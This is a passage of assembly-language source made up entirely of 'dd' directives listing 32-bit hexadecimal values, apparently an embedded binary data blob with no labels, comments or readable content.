dd 645C3AA2h, 9A1C8061h, 0F400701Ah, 0C3CD1702h, 1F1B7F66h
dd 87014CDAh, 4019B261h, 992F42D9h, 5AA9C513h, 0DC32FB00h
dd 0C0759120h, 0FC674CB0h, 58125CDAh, 10035541h, 0F29BEBC1h
dd 0B0D09361h, 3158A508h, 272930D8h, 92ACE446h, 96BC5D00h
dd 8A192645h, 0D6053B3Eh, 0C3FC7200h, 0FD290493h, 0DD7FF01h
dd 0F62178D5h, 3820C430h, 1F001AD1h, 4692B4CFh, 1EE8CC35h
dd 8AD9A550h, 9A0E2E00h, 858FB516h, 745B00EFh, 14E2F881h
dd 0F2004F93h, 3168AE6Fh, 1733AB6h, 869515Dh, 0FC42390Ch
dd 9E0E1EF5h, 80C1724Fh, 0ADA96B34h, 309AFA6Ch, 23406D1Dh
dd 0CE005064h, 0F6D0D471h, 726CAFh, 27CB1876h, 35CAA8D7h
dd 58324203h, 0C802BE8Bh, 734C1DCh, 5CB5FD78h, 0D57690A1h
dd 7F00CC55h, 38B05BF7h, 3DC4D3Ch, 900602B4h, 0B1008132h
dd 9F9BE262h, 77025A6h, 3586C00Fh, 2FCDB07Dh, 0EC03AE6Ah
dd 0D1DD5859h, 6CE00CB2h, 0C041200Bh, 0E2D3A401h, 654D3656h
dd 0D833208Bh, 9B457E80h, 8146DECh, 0AEACF4C3h, 2F7DD800h
dd 47EF6C0Ch, 42DABF00h, 31242C7Eh, 0A1D60030h, 459F4357h
dd 0CD002836h, 0AAA684E1h, 299D22B4h, 54447E63h, 84A8B7ECh
dd 766A114Dh, 1D097A6Ah, 434140Ch, 532C9CA2h, 12EAEC2Fh
dd 0DD03DF37h, 0C8BD7FBAh, 0E0E5ECh, 65AB8ABEh, 0F46AF8BCh
dd 0B5549B00h, 0FD38D74Fh, 0E1E300AAh, 3E2D7821h, 0BE04488Fh
dd 2EF340F0h, 0EFDE1090h, 92961DAEh, 50AB8071h, 0E86765BCh
dd 0CC9BE715h, 0D3218084h, 48730DA0h, 7E3E247Fh, 0C06E281Eh
dd 85D1AE4Bh, 0C90097DFh, 0E9E7275Fh, 511884h, 6AEF9E08h
dd 356DA913h, 5ABD7105h, 840076A4h, 8E7C9BF2h, 0A8990022h
dd 92744616h, 0D205606Bh, 27B42C6Eh, 0B249D020h, 5FD500CEh
dd 0ED395565h, 64918A87h, 0BE7F005Ch, 33ADDE11h, 74005FF4h
dd 87EF270Bh, 1E82938h, 0AB15688Ah, 0EBD3B005h, 349849C0h
dd 0AF0C7A48h, 27CECA06h, 0D612D897h, 4277496h, 589F88F0h
dd 0F57546h, 99E30EFh, 0D72796Dh, 8169F217h, 0C1770FFFh
dd 61A3D900h, 5F001354h, 0DAA4250Bh, 274B7EBh, 0E0C7B879h
dd 0C3DD4AA9h, 5D83F0BAh, 8FC0000Bh, 3CEDBD28h, 343961FFh
dd 0BA390041h, 2EF5A589h, 12F30E4Fh, 0C60705Dh, 76618EFBh
dd 0F044C052h, 0C0577A8Fh, 93D76878h, 5FAC712h, 0FF6B2618h
dd 34B218h, 0DC06FBB7h, 45AD21A9h, 16DD2706h, 320027Eh
dd 281F7BC0h, 110203A6h, 0B31694D6h, 20152604h, 801A822h
dd 7790DD3Eh, 0C1B7E643h, 97000E24h, 0B3000BF0h, 79540334h
dd 0C385780h, 0A5472E8Dh, 4500FCF0h, 21F6C429h, 6918063h
dd 93FF5107h, 2003817h, 780FDC6Eh, 3B67554h, 667398BAh
dd 2E909205h, 0EF28F9BCh, 9F249C5Ch, 0F15F822h, 4E790784h
dd 0EB50FA33h, 623AB5h, 34D7673Fh, 0C829BC43h, 266E90A0h
dd 66DCB650h, 85F95D61h, 4080DC57h, 4F6F7837h, 631E6CCBh
dd 914EA9B4h, 0E41CCA94h, 6E69E002h, 11B09092h, 0FF6A00A4h
dd 57632DB3h, 0B8019C42h, 855A0233h, 24C4DE9Dh, 28EC18h
dd 82EE0472h, 0C0139220h, 0C5940C3h, 0DFC00003h, 0B587E505h
dd 0BF0018A3h, 0C467908Ch, 3B1A462Ah, 40014A1h, 657EDA7Fh
dd 0A61240EBh, 0CF00B8B5h, 0BE60DB79h, 927D53h, 0CA8D48F8h
dd 0E7DCF346h, 0A84F7500h, 0B093E26Bh, 9DAC3B66h, 0C5104D03h
dd 0D7C8D23Fh, 0ED0BF4B8h, 5EEB0Fh, 4AB07570h, 0C3AF3CFDh
dd 0E39D4100h, 0D8A4EE8Ch, 734C7A03h, 0E00984D6h, 0CB7E7Bh
dd 6BA70203h, 6D93DD43h, 7D0FD172h, 0A0E6B45Eh, 713E30C6h
dd 5A71F12h, 0EB75004Ch, 3122B3CFh, 320838h, 0EA257EE4h
dd 24943A34h, 8CFCAFh, 0D21084CEh, 1B1FE404h, 0B780B6E9h
dd 0F91CB3C7h, 984C0060h, 0D91327E6h, 0CD0029ADh, 0CC4BD80Fh
dd 87D323h, 7EDB72A3h, 1837E778h, 29E99603h, 0E04CB0DAh
dd 3AFF0BEFh, 6B0030DCh, 6581ED63h, 6100F402h, 4C1C1FA4h
dd 9DF0F5h, 0CD851A91h, 5DBD7B8Fh, 8CFA1D00h, 0D585039h
dd 0D68D00E5h, 5CFC71DBh, 0BE00B037h, 0C91BBFBBh, 114B987h
dd 0B652F53Fh, 0E3BA0C8Ch, 1B59E090h, 2803BB01h, 0B78A62BCh
dd 38CBFCh, 320D9E7Ah, 0AC9DD13h, 7D1C6D00h, 5FC3E5FFh
dd 33D20090h, 528A80CFh, 0EE1EE804h, 0D6402C14h, 187E60B7h
dd 0C25400D3h, 0D0E202A3h, 12E08688h, 0A00FFF0h, 0C389BEF2h
dd 0F2FB1A8Ah, 1FF90FEBh, 860096F6h, 1622778Ch, 0F1DC8900h
dd 9C21BA20h, 84183CD2h, 24254580h, 0C04BB13Dh, 8E8BCB3Dh
dd 0C04153B5h, 0ABDFFA2Bh, 93E33F86h, 9600213Eh, 249295DAh
dd 8507AF8Fh, 6A727433h, 0CBD4C840h, 207093Dh, 6380D938h
dd 2303CA18h, 6F57F001h, 96CDF7E6h, 145448ECh, 0C41BC326h
dd 0E1089B00h, 0CD6EC845h, 0AEA88A4Ah, 0CAD54F00h, 2F0BEB10h
dd 0C4A3B800h, 0F937DBB4h, 0FA160088h, 0D74D99F5h, 5430AFA9h
dd 0D6344CDh, 4CB5000Eh, 0BF5FDA1Fh, 2000798Ah, 24F4C7CFh
dd 156366h, 0A96AF7B1h, 0C190BD3Bh, 974A1B00h, 1C517FBFh
dd 0FAAA02DCh, 86E6718Fh, 5FF8F2C0h, 9B587707h, 80BF4EBDh
dd 7FCE9ADAh, 6E550797h, 805D30E7h, 0CA36C3Ch, 61D24Ch
dd 54E47A22h, 1AAC42h, 2C253CBh, 0A51080F2h, 476E2603h
dd 0F913D6DDh, 5AE06C8Fh, 32340083h, 63BEB157h, 640073DEh
dd 440A27C6h, 5330EC8h, 8B3B3EACh, 7DD000CAh, 5B111575h
dd 3200B4FEh, 6D3CB02Ch, 7BF1AA7h, 0F049793Bh, 76EBC011h
dd 0E00F437h, 61A5856Ch, 0F7CCB15h, 553E5F90h, 44C76380h
dd 5700B732h, 2F64A8A3h, 3C9F3F2h, 6F6418Ah, 81B0DC20h
dd 231FFA26h, 600E45D9h, 35478115h, 1ED8DF07h, 0D60A00EFh
dd 14E5D33Ch, 0C1005D96h, 0B34A858h, 9524F1h, 0D75047F4h
dd 0B61BC77Eh, 0E660E100h, 489BC682h, 0D9C0073h, 0D263A66Bh
dd 69004B5Dh, 0FD5AAE0h, 0B704E8h, 0CA898B26h, 0F6F32430h
dd 0FBBDA000h, 8FFFC01Eh, 0EE480232h, 56E51754h, 7CE660FFh
dd 0DA950B60h, 0FB80D2DBh, 6D654347h, 0AAACC600h, 915EA33Eh
dd 29A801D6h, 9C84B608h, 1FB920B4h, 0ED78E00h, 0D0AFBC46h
dd 44D613A8h, 0DC42005Ah
dd 4E60ED94h, 20CD93Bh, 17520E7Ah, 0AA144842h, 0CE9C3993h
dd 0B00F7D4Ch, 58CB20A1h, 0B1591B02h, 0BFCFCBC0h, 0F896290Bh
dd 88A300F4h, 6D2130h, 0CB820DBBh, 6E4EA0CAh, 54FC984Eh
dd 0B6028800h, 9FF4181Bh, 370055B0h, 0C30B202Eh, 1C5076E2h
dd 0BFE08492h, 0D046FA14h, 6486C602h, 76E0C0EDh, 0AF5881BBh
dd 0A9395Bh, 83C1D803h, 1CEA1029h, 80777B8Ah, 95A81970h
dd 0AC0031B9h, 0A382E180h, 85236Fh, 1FFDEBA4h, 7F49B55Ch
dd 792C4200h, 683CF509h, 0EC73D8h, 2544B74Fh, 0B9F42415h
dd 0D34178C3h, 280AB0D9h, 0BC4F00ACh, 0BDA36594h, 5200D54Dh
dd 89FD667Ah, 0D71286h, 0EA131627h, 68879906h, 0A6D22E00h
dd 0D6A1AF0Dh, 237532h, 96B4204Ch, 40988AD7h, 69F5F0Eh
dd 0D4CE1C44h, 593E20F8h, 0D63395h, 9B163CE2h, 92BFC61Ah
dd 542E741Dh, 0ED0A4C80h, 719FA96Eh, 0F13F0069h, 0C7F78DA4h
dd 360040DCh, 896152ADh, 1EC12AAh, 5E9D02C3h, 0F8BE181Fh
dd 43000B74h, 0A4B173EAh, 7985B3h, 2540A004h, 2C1B922h
dd 8400BD72h, 5FD1B634h, 2E7B4FEEh, 0EDFF565h, 0C9E04B1Ah
dd 11FFF224h, 0EE2D9800h, 88487491h, 624400A0h, 0B6F61E26h
dd 0E5E04F3Fh, 4253661Eh, 0F2EF9E80h, 1A9955h, 0F2E849Fh
dd 6FC33470h, 7ED13300h, 0B5F8C189h, 6DAC0B98h, 0AB008D9Bh
dd 0EE70CBFFh, 0E51F1B71h, 5200D66Ch, 1F629DBCh, 0D21200C7h
dd 8EF01085h, 8F007EEEh, 0B763DE1Bh, 0F02C042h, 0F91156CFh
dd 3DAD6100h, 0D009473h, 0AE0A6DFEh, 2ED528h, 39E03FE2h
dd 49751307h, 150B3100h, 0EF60EBDCh, 0D1E400BFh, 9BB520CAh
dd 767C851Dh, 0DF4A231Eh, 346D6AC1h, 4BD0C04Dh, 783C58DDh
dd 13006F3Eh, 45F18FDCh, 522E0BBEh, 3A075E8Eh, 0D460FA73h
dd 0E6D1E3C0h, 390A1CB0h, 619DF1h, 0DFF6CD6Bh, 66000BB1h
dd 0DAEF9ECh, 2F74B7BAh, 7E50B9ADh, 0BD563Ch, 29F520Fh
dd 120E6C9h, 871735F1h, 8009F67Ch, 471D7E74h, 389922FEh
dd 36263A19h, 0A35E0E8Eh, 0B11C7720h, 2B00F717h, 0C6412591h
dd 2472CBDh, 65D19952h, 81400EE9h, 903E60F0h, 8BF10040h
dd 0AC486B7Fh, 0EF5703C5h, 0B5F0A127h, 0C9210A88h, 18966Eh
dd 0D247BD7Ch, 233E1C60h, 0E5D9C017h, 69D49F4Dh, 91BCAE00h
dd 90EE3A08h, 26830038h, 0FAA7318Ah, 60BDE2A6h, 3DB1FA8h
dd 0D7323BBAh, 93A8F199h, 0CA003318h, 0E643504Eh, 5166DEh
dd 6B77633Dh, 0C9A14B3Ch, 0D248E800h, 0D9CC98FCh, 0B1CF3EF6h
dd 586F1Eh, 7EDE26C2h, 123FE99Fh, 961180B3h, 6863A85Bh
dd 0D61700AEh, 350CB015h, 6A00E576h, 0A78E736Fh, 8BEC39h
dd 0F7DCEE8Ah, 4FA6041Dh, 0EF959A00h, 0A242AC2h, 937209E8h
dd 9003BE7h, 78022BB8h, 15B73F00h, 531E062Fh, 89DF3C19h
dd 0B6291A80h, 4A7008C1h, 440059FEh, 406872A0h, 1E07D4Fh
dd 3C5BB0D6h, 0C45AE13Eh, 0D75C856Eh, 0F6FE0BBBh, 93CDC6Ah
dd 0E2810C93h, 0D173B78Eh, 9D99D1D3h, 81802C18h, 3F878FFDh
dd 31BE60A8h, 2FC64F8Ah, 4B1D22F2h, 0B628A51Ch, 0A420F760h
dd 4B7F73D6h, 778380B5h, 0D41E795Eh, 60F0ED4Fh, 509310h
dd 667B2D04h, 0C6730F70h, 977560Ch, 1FECA1E0h, 7593B7Dh
dd 10125FA5h, 3D238136h, 0D051C203h, 0C560FDEh, 0DAE2ADD8h
dd 0D148E798h, 62406082h, 95561Ah, 8EE69B9Fh, 90A32AE4h
dd 272E0801h, 94F075F2h, 8540AFCFh, 263C8E9h, 31087135h
dd 0C48026ADh, 61A27787h, 0E2B75300h, 0D6D3D9E3h, 9BFB0165h
dd 0E64C6CA4h, 900AF397h, 80E9E4ABh, 5B2F9C00h, 0E430Ch
dd 0B75E97D8h, 0E8373E5Ah, 1C031F7Eh, 0C964A10h, 0E63000EAh
dd 367A9367h, 0A717A5E8h, 0F60CEBBBh, 1E3A513Bh, 0C6487010h
dd 0E87EE4EEh, 0FF0418D1h, 20962F00h, 92670524h, 0DCCC6100h
dd 0C5F043E2h, 17252988h, 0EDC606CCh, 4EAD09Ch, 4490E574h
dd 0A3FBEA7Ch, 0A653418h, 4D094C2Eh, 99A2h, 976298D5h
dd 0E30CF807h, 0F4EAD76Dh, 16A1183h, 0EA19868Dh, 4328848Eh
dd 0A1211812h, 8C230884h, 24457945h, 181E15ACh, 668A60D0h
dd 1891950Ch, 3D889C21h, 482E458Fh, 83606954h, 81EB968Bh
dd 7710DEEDh, 750CA191h, 0A2F01852h, 0BC61C16Ch, 8E992124h
dd 425F1D08h, 4882F6DAh, 67105EC9h, 550CA0F3h, 4E53845Ah
dd 9C592990h, 18F9E78Ah, 2A0CE515h, 0F1605404h, 8564BB61h
dd 91B262B6h, 0C826016h, 2211F0DDh, 344DD980h, 32315C67h
dd 3C00D649h, 23D48094h, 790ED29Ch, 209A0077h, 57E68C8Bh
dd 0D1F0B99Fh, 75D3FE00h, 94FCB51Ch, 0AE8513D8h, 403C41CDh
dd 518D6D84h, 0C1DBB098h, 0BDC20786h, 0DA8CA071h, 0EC545116h
dd 22963D3Eh, 46A8339Ch, 0B95FCB83h, 0AA8C45Ch, 0D3B6C32Fh
dd 0A1EE9300h, 6A049FBh, 0C4A44DB9h, 0FE3DA863h, 4C6D89F0h
dd 1B60A0D7h, 0FBF3EC51h, 0E7801C4Ah, 0FF2E9DCEh, 7433B112h
dd 3DC10840h, 1F554F07h, 98288F5Fh, 7AA350F6h, 0BAEACA02h
dd 0A02FA1E8h, 313FFB8Ch, 0F8D090B0h, 0A7FD3098h, 5BF28A28h
dd 0E24A3015h, 5D2E03D4h, 3B923CCh, 0D1B3DD51h, 21DD29EDh
dd 0D0129414h, 50EFF4EBh, 744DC434h, 2EDCAE00h, 0F7BE427Dh
dd 4861EE33h, 0F604E4FFh, 0C0ECAB53h, 146785C0h, 440AA800h
dd 0C7957A75h, 64A200EFh, 0FC1C0B8Ah, 0B8C401B6h, 0FB05EB8Ch
dd 98A886B7h, 84ADC900h, 0A3545327h, 0C7A0B0Fh, 0B301C5A6h
dd 0D02393FEh, 0A20624C6h, 42E4AE87h, 7D9F1818h, 64CED1B4h
dd 455D80C4h, 5E798F38h, 6A448914h, 880178C8h, 0A3553A80h
dd 17C582E2h, 0A4D1CFCh, 0E3C1C014h, 106F98C0h, 2B80EE59h
dd 3C38B262h, 2C303F92h, 12080588h, 2FDBAB1Dh, 2011A60Bh
dd 85C3A36Ch, 0F7C00B51h, 18A11830h, 8E04F0A6h, 0CC31BA21h
dd 12E1879h, 4433F982h, 0C530F88Bh, 0A6488E5Ah, 0C0849549h
dd 7C531333h, 3CF44952h, 2657D500h, 0EC070A8Dh, 64093C24h
dd 7CAA1780h, 0C2B98081h, 5E4B1F81h, 1A268064h, 89B850C9h
dd 1F55042h, 3F3A3603h, 2EABA024h, 8FD48923h, 0ECEC72A3h
dd 0EB31CCB8h, 2DD9A037h, 0AD230500h, 8202F4FEh, 0CBF5E318h
dd 95A08076h, 0C4E51D63h, 8088C1E4h, 83613F4Ch, 0DC05B4B0h
dd 2F4170C9h, 8F9F8040h, 24C01760h, 8310C19Ah, 82E97DFDh
dd 34E356EAh, 2141781Eh, 29C41F83h, 5AA122E5h, 0DBB63404h
dd 8C885AFh, 2A09A32h, 392924C5h, 74484D44h, 0A0285322h
dd 2F1490BDh, 58D0DCF2h, 30C6063Eh, 18E9E3F0h, 0B0E6FB59h
dd 0E09070A4h, 0FE023085h, 38377F28h, 0C8A0DE5Bh, 0E449AC4Ah
dd 89CA0400h, 10D31370h, 7354FBDFh, 0A2181230h, 96480265h
dd 0B8851514h, 94E0402Bh, 0E1DC7B49h, 0F4C66E0Fh, 0E4A2846Dh
dd 0F9F1DC8Dh, 3F317830h, 0E10A2501h, 8A883E6h, 1206E31Dh
dd 899B4Bh, 2842DE94h, 228D61B5h, 0A0D7CB28h, 0E24B1D08h
dd 7B94805Eh, 5665593Fh, 0ECE0BF51h, 9600C0FEh, 833675BBh
dd 399BA477h, 8D016E28h, 74ABED2Bh, 828C33EEh, 20126A3Ch
dd 808203B8h, 0B050A448h, 1FCC22E3h, 2AEC6662h, 7BA0348h
dd 0BC049C14h, 3337E5E0h, 0EC0638h, 32A20AC9h, 9250A6BFh
dd 0B7271F4Ch, 0A996C234h, 44C061EDh, 0BF161A75h, 48702AA4h
dd 1EF56EBh, 0DA19920Eh, 24572E84h, 3A0CFE84h, 30CE4E98h
dd 39CA627Fh, 24C6461Fh, 918C900Ah, 0DB0EC456h, 897CC373h
dd 0C7100955h, 40AF4332h
dd 21082880h, 0D549AFD3h, 0C2C60A08h, 0A9828C70h, 0C882DA45h
dd 735E3A0h, 3AFD64D0h, 0D10CF509h, 486B5AD0h, 0FF00FAA4h
dd 93BE9EC1h, 607E4678h, 32CA59C3h, 9080639Fh, 3A30F826h
dd 0F513FFDAh, 145D0Fh, 53E67CD3h, 831432A9h, 24C1DF4h
dd 0F9288EDh, 0A00884DCh, 1588110Dh, 5E2C8408h, 40118A08h
dd 0DD470090h, 7A3FA5EBh, 210AADE8h, 0A0C34AFCh, 36F81E80h
dd 2C2DB1h, 0FE3D1C6Ch, 9A0C19EBh, 0AB45C07h, 84108E76h
dd 1F02E190h, 299CF342h, 0A033E04h, 0D228B080h, 0F8EA1900h
dd 20F1CF3Ah, 0CB90049h, 0B76912B8h, 83FB119h, 0F141E0E9h
dd 4BCFBh, 0EF9D5AD4h, 0F212050Ch, 791C38C0h, 0C1F630h
dd 0B3B5CE9Ch, 8B2AC9C4h, 0B2185303h, 78C714h, 7BED3C49h
dd 76553D98h, 0D6BF0203h, 98162D61h, 30749C41h, 2CB09D5Ch
dd 0F60752D0h, 0A2B6F0B9h, 2EE90420h, 8C760058h, 7F3C7DA8h
dd 9B00F343h, 142D93E7h, 0DEEBB620h, 0B5188051h, 4E15F62Fh
dd 0D8EA540Ch, 3DD211A1h, 0A8815CCBh, 0DAB5BB21h, 8D3048DDh
dd 77B13065h, 1BBA4841h, 2ECD7C0h, 84B979ADh, 0D532D001h
dd 0C64AE31Ah, 0D9F83880h, 291C1518h, 211BB1Dh, 0CAE00982h
dd 9044633Bh, 34DA646h, 0DB0EF21Eh, 0D6E82D96h, 1100C20Ah
dd 4B25E12Bh, 739B9A6h, 0C486E3FEh, 846010B5h, 993880EBh
dd 0A6792DBh, 0ACB94207h, 8B8FA180h, 7BA3005Ch, 0EA15FDABh
dd 3400E9EBh, 1D77D2E5h, 18F7003h, 0B37A7DCh, 0F761592Dh
dd 17431280h, 4E08BF00h, 0EF26DEA9h, 0B85B2492h, 59710014h
dd 2D4D7E7h, 0F0007F77h, 1F78135Ah, 97049A4Fh, 0DA001870h
dd 9937D9E0h, 1C940h, 0BF675158h, 29632C2Fh, 1F4F3F00h
dd 2EBAB1B3h, 0E20F00B7h, 71D694F9h, 38011A18h, 0CFE7AE47h
dd 24CDA1BBh, 13E12D4h, 251392DDh, 0E4794827h, 157D849Ah
dd 0A10ABE00h, 4D6826C7h, 170E840h, 0E8F2EB4h, 0F88B8CAAh
dd 85EEFCA4h, 0D7397F72h, 7C9586Bh, 9617EC1Bh, 0CD86ED90h
dd 62263A04h, 5EEF7686h, 0DF7960E6h, 94B18D00h, 7DF082CDh
dd 0C19C0DDh, 0A544708Eh, 7FE84E4Eh, 0CBE44700h, 306C3E06h
dd 89933214h, 0EB39008Bh, 0A2F5AE64h, 6B53ED2h, 77098200h
dd 43C43C8Ch, 9F9D7018h, 7B40A58h, 2FBE965Bh, 0E8003EEDh
dd 2D1E49E4h, 0DEFCE318h, 79FDBF8h, 0A772A5A4h, 0DF24835Fh
dd 0D9901800h, 0F995061Dh, 6EC800F7h, 0A73D762Ch, 0D100E55Eh
dd 0DB2E181Eh, 0C881982h, 0F37CA8DCh, 380374D1h, 1E775903h
dd 69719811h, 8E470076h, 1FBE2214h, 0E000A8A3h, 236C2AD0h
dd 0A72497h, 0E4D77594h, 14D53301h, 9841E800h, 4813E9FFh
dd 0CECD03F9h, 5F21A24Dh, 0B3AF72D8h, 625EFE00h, 0ED8D4E2Fh
dd 71D318D6h, 201008BFh, 3B0BD70Eh, 0F7009F23h, 0EA31FA6Fh
dd 0F8CC5BC7h, 72F10078h, 8A71E57h, 343FEB3h, 52200FAEh
dd 0BBC06C62h, 0CB018219h, 0BE37672Ch, 8B400BD2h, 3FBAD3D4h
dd 0C7839C06h, 0AFF211E6h, 0A885DBE8h, 0CC8F80Ch, 7377783Dh
dd 0CBE30082h, 78C253E5h, 2E006B26h, 0BE1E67C1h, 0AD852DDh
dd 0ED119BC3h, 956E005Ch, 0A28E4D4Eh, 8882A701h, 0D952D798h
dd 0E0BB6DD0h, 77EE1B54h, 0FE8030E5h, 0C500D6B5h, 0CC8813FAh
dd 1EDCD750h, 1D75AA0Ah, 0E56F8086h, 54A4570Eh, 5972A100h
dd 0B1766895h, 706C00CFh, 60B31325h, 23039B9Ah, 0E43FCDC8h
dd 0A291392Ah, 67246300h, 0BC6F27B7h, 5653A100h, 6AC0DD21h
dd 0AEA900FAh, 3F9560CDh, 772A7FB8h, 0FB05BC8Ah, 135F7E68h
dd 6915C800h, 73AE167h, 0E0A57B5Bh, 0C6839029h, 41063059h
dd 0D336331Fh, 0D2B60778h, 4FBFCA52h, 9D290323h, 97E177F8h
dd 91A32300h, 645B755Fh, 3CB93D26h, 635E8B00h, 18E46744h
dd 0B35D8C00h, 0BDC49E84h, 5CF539BFh, 0D6E4900h, 755A9C48h
dd 49B1E2Bh, 8AE03F47h, 0E6DD9Fh, 9CF0274Dh, 987A122Fh
dd 9A3E20C0h, 1CF47CE2h, 59D702BFh, 804008B2h, 7F09F121h
dd 0EB369Ah, 1D4B6DDDh, 1A576934h, 1E6A4400h, 65759B9Fh
dd 93080086h, 7B68FAD4h, 4C003C5Bh, 0CD2941C6h, 0EC587A42h
dd 3E9F803h, 0C3F0191h, 0A9073892h, 2F5E2495h, 57A6B840h
dd 8E566ECh, 0B51FE90Eh, 70C0047Ah, 0DFD839DAh, 0B9D40066h
dd 84C23F65h, 303F388Bh, 157700B1h, 669B91D1h, 0C1902417h
dd 0C0DF061Bh, 0C70021FCh, 0BED6B03Eh, 0B213C5h, 598C99D5h
dd 96E60FA0h, 31332F02h, 5542F4E4h, 76F84600h, 0F5015AF9h
dd 472F02FEh, 71801336h, 61D39297h, 6007DE35h, 64CABDF8h
dd 3E989647h, 0EAE2E700h, 407CF073h, 0B2001498h, 0CBFD58FEh
dd 0FB25A517h, 7069B0DCh, 330F2895h, 929E0264h, 0FA3F66A2h
dd 8B1618h, 0B722772Eh, 45DB4492h, 0E808E41Eh, 80CD960Eh
dd 0ADBAB3BCh, 0E64E223h, 0C28B8583h, 8DB2C03Eh, 610AD3A7h
dd 0BFF858h, 5855A03Bh, 0FC8A1F3Ah, 3C59008Dh, 0F8ECD029h
dd 751450C7h, 3792304Bh, 0FBA74079h, 0E0ED8760h, 0B07F00E9h
dd 9EE1851Fh, 0A47E8091h, 28C046FEh, 434F4AB3h, 6879F1h
dd 1F3C0FA3h, 0B2A51957h, 8087FF1Eh, 0F3489B07h, 0B68E5DE0h
dd 4B9600A4h, 0D3C79274h, 25302AACh, 12C62049h, 50720E70h
dd 1FE6894Bh, 0E80090A1h, 0EC5AD7CAh, 0CF877F7h, 0E9AF52C1h
dd 0E3006DF1h, 98CF27D0h, 3A477143h, 2818665Ch, 90FA20C4h
dd 6C9BE400h, 5DECB4FDh, 0B98100EAh, 74690406h, 0D2A08C29h
dd 0D671C483h, 95932215h, 0DF3A7584h, 0F123079Eh, 18B7E3FAh
dd 52EA8201h, 6EC18DF0h, 9D801954h, 0DBF03BC5h, 0D87B7900h
dd 38112A0Fh, 18B0A472h, 0F845EB89h, 600052B3h, 6A54D3AEh
dd 6E29A079h, 0C3AC48D5h, 5F00B420h, 70A896AEh, 98E89A20h
dd 788A00D5h, 46099DEh, 3105C173h, 8CBEDDAAh, 13C7EC00h
dd 6E3554Eh, 0EE49A902h, 76300905h, 0AC7320B5h, 47013A1Ch
dd 6D807439h, 0FCCA57CDh, 0D5009E67h, 81F977F5h, 2E8FA4Eh
dd 0FB56C290h, 88A08696h, 3F1B45BBh, 16CD5700h, 98BC0BDBh
dd 36B505A6h, 6029C1D7h, 0ED0E8CCh, 0A189A33Dh, 5DD34041h
dd 0A907A4E4h, 45DE333Ah, 0EBF6F6F7h, 4B860041h, 0C1A076C4h
dd 550062C0h, 991B2114h, 24828715h, 4078C5F5h, 0F8B71051h
dd 52744548h, 1A078078h, 0FD5011h, 0C6572997h, 0F8D5C18Fh
dd 0EBD92000h, 8BF74BA8h, 4464486Ah, 0B5B40C72h, 6260C355h
dd 80ABEB00h, 0DADD4183h, 267212EEh, 93804E54h, 4A310360h
dd 0B57C56CCh, 3C5ED900h, 510914B1h, 266E07CFh, 431D474Fh
dd 207D42F5h, 1411BC26h, 0BEC0461Ch, 1DE3C325h, 2AE03D3Ah
dd 0DD0F483h, 5B83F1AEh, 7136CFB0h, 419C5D00h, 0A8A53ED9h
dd 730002Bh, 0FE374F81h, 6E624E97h, 19E7321h, 0D45CB4A5h
dd 3E0E5A15h, 3C72FAD5h, 0CC296FD8h, 2CA252CFh, 846C2100h
dd 9761E7E3h, 33C3221Dh, 79738D00h, 3DBF5C1Fh, 86004A6Bh
dd 0FF3A40EAh, 64037A13h, 78D18AB9h, 75D5E861h, 836E3A60h
dd 0DB3F1060h, 300BE43Eh, 5A1D25h, 2A4AB081h, 8020C076h
dd 87A52E2Bh, 0C0B11C00h, 0DD71479Dh, 50B303E5h, 58F791FAh
dd 0EE8009ABh, 0A10016DEh, 0D51F866Eh, 0E9C342h, 98E32085h
dd 78A0199Eh, 4D15A07h, 56802632h, 1617B1Eh, 0DCB27EA6h
dd 0E0177FA5h, 0F7CD603h, 400CBC20h, 59015C81h, 59FAB31h
dd 9CD8654Ch, 38B11DD6h, 1E43001Ah, 0B6ABF9ECh, 0BA1CC500h
dd 0B1D7C14Dh, 0E9600D8h
dd 6FF2E80Bh, 0CA3AE7A8h, 0CE7C105Bh, 69A08300h, 565C8401h
dd 7D140600h, 76E2F449h, 0F1150027h, 5ED518Fh, 0AB03E430h
dd 0E51777DBh, 0AC8CE0F7h, 3BB63A31h, 81CE381Eh, 0E82E2743h
dd 0DCA1D92Bh, 92228795h, 897A00F9h, 0EFB16705h, 0F303F15Dh
dd 3C513775h, 0B349E869h, 4BE900C8h, 0D4C524D9h, 3F73CA1Ch
dd 5FF0B000h, 26D155D2h, 3E3CE8A3h, 0E180DF9Bh, 1415BBC0h
dd 39B03DFAh, 0B831D07h, 0A3F0214Eh, 0F2BCE9E6h, 5096614Ah
dd 0C8F6362Ah, 92F2882Eh, 0EAFB2400h, 31B5BA6Eh, 185E630Ah
dd 61008B71h, 7F11B4ACh, 167490D6h, 584421Bh, 0C1975401h
dd 80E2376Bh, 74616E59h, 1841E135h, 19BBD25Bh, 5100871Eh
dd 94781664h, 0CE46B53h, 0A53D19C1h, 0F400C520h, 0F5236089h
dd 35C4BE95h, 86089471h, 140220A4h, 829B6051h, 1A1DE043h
dd 8E2300BFh, 0BAFAC4A7h, 69056F96h, 27B128F0h, 89D89C1Bh
dd 0A4505008h, 0A685BCh, 0F533EE86h, 0D80D5999h, 26605798h
dd 55FB9520h, 0A4253FD6h, 165F7A0Eh, 37B277E1h, 708987F8h
dd 0BB51E97Fh, 0E7ED7496h, 592EE087h, 6F2C40D5h, 761851DDh
dd 0F6C92FB2h, 0FCBA0E10h, 0C7A7C102h, 407082AAh, 0F9D97483h
dd 853BA17Fh, 4DA60135h, 0EF88671Fh, 53F20422h, 0F2CC7931h
dd 0D6570A6Dh, 19412AAh, 3151ED43h, 2A28809Eh, 87140A65h
dd 60DA5838h, 8F26374h, 2000D609h, 186F3CF8h, 0FEE1363h
dd 72052759h, 1FB37420h, 38583DB2h, 5FC50027h, 0E1913FACh
dd 0E5100084h, 0F6715B9Ah, 671509CBh, 0F0AF1Bh, 0B79D1AF9h
dd 9BFAE22h, 5C5DA1B5h, 0CA933401h, 2AA040FEh, 546010EAh
dd 8F2C87F1h, 23E0000Ah, 0B7909372h, 0E70A1250h, 0EC071524h
dd 7255FC60h, 0D80B21EDh, 29E488h, 3D56175Ch, 68501C83h
dd 98A93FB9h, 0C74AFCEBh, 267B2000h, 0E8E2A951h, 9C7E00EFh
dd 4DF9070Fh, 3F64824Ch, 0AC8063B9h, 6013EBE5h, 0DFC88BCh
dd 650BF1DBh, 53CFF6h, 0C9BD1DE0h, 0AAE203E9h, 0EECBBC4Dh
dd 0C6212008h, 0D75A0FA2h, 85F4D140h, 2B0026B9h, 0FBA4039Fh
dd 53236Dh, 58261B4h, 39C9D2E6h, 4A13F603h, 0EB2E34DDh
dd 0D9713A6Bh, 400CF515h, 82A20D79h, 278AD1Dh, 0AF22CA40h
